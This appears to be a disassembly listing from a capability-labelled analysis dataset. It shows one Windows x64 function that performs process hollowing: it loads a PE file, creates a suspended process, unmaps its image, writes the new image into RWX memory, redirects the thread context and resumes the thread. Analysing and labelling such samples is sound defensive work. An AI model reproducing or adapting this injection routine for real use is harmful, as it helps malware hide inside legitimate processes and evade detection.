Function at 0x140011005
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Parse pe header
Read file on windows
Resume thread
Use process replacement

Disassembly:
jmp 0x140012620
push rbp
push rsi
push rdi
sub rsp, 0xcd0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x230
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xc70], rax
lea rcx, [0x1400250f2]
call fcn.1400114ba
lea rax, [rbp + 8]
lea rcx, str.12345678
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x14001c038]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x38], rax
xor edx, edx
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x54], eax
mov eax, dword [rbp + 0x54]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rbp + 0x54]
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rax, [rbp + 0xc0]
lea rcx, str.TestApp.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xcc]
mov rdi, rax
xor eax, eax
mov ecx, 0xf8
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012744
jmp 0x140012a7e
mov rax, qword [rbp + 0x208]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x1e8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
cmp dword [rax], 0x4550
je 0x140012777
jmp 0x140012a7e
lea rcx, [rbp + 0xc0]
call fcn.140011212
inc rax
mov dword [rbp + 0x244], eax
movsxd rax, dword [rbp + 0x244]
mov qword [rbp + 0xc68], rax
mov eax, 2
mov rcx, qword [rbp + 0xc68]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140011203
mov qword [rbp + 0xc58], rax
mov rax, qword [rbp + 0xc58]
mov qword [rbp + 0x268], rax
movsxd rax, dword [rbp + 0x244]
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x268]
call fcn.1400113bb
mov eax, dword [rbp + 0x244]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x268]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0xc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r8d, 0x104
mov rdx, qword [rbp + 0x268]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x290]
call fcn.1400113bb
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x318]
call fcn.1400113bb
mov dword [rbp + 0x290], 0x68
lea rax, [rbp + 0x318]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x290]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0x380], 0x10000b
lea rdx, [rbp + 0x350]
mov rcx, qword [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x838], rax
mov rax, qword [rbp + 0x228]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x318]
call qword [rbp + 0x838]
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rbp + 0x228]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x858], rax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x228]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x94], 0
jmp 0x14001298f
mov eax, dword [rbp + 0x94]
inc eax
mov dword [rbp + 0x94], eax
mov rax, qword [rbp + 0x228]
movzx eax, word [rax + 6]
cmp dword [rbp + 0x94], eax
jge 0x140012a2d
mov rax, qword [rbp + 0x208]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x1e8]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rbp + 0x94]
imul rcx, rcx, 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rbp + 0x878], rax
mov rax, qword [rbp + 0x878]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x878]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x1e8]
lea rcx, [rdx + rcx*8]
mov rdx, qword [rbp + 0x878]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0x858]
lea rdx, [rdi + rdx*8]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140012981
mov rax, qword [rbp + 0x228]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0x228]
add rax, qword [rcx + 0x30]
mov qword [rbp + 0x3c8], rax
lea rdx, [rbp + 0x350]
mov rcx, qword [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, [rbp - 0x50]
lea rdx, [0x14001be50]
call fcn.140011429
mov rcx, qword [rbp + 0xc70]
xor rcx, rbp
call fcn.140011258
lea rsp, [rbp + 0xc80]
pop rdi
pop rsi
pop rbp
ret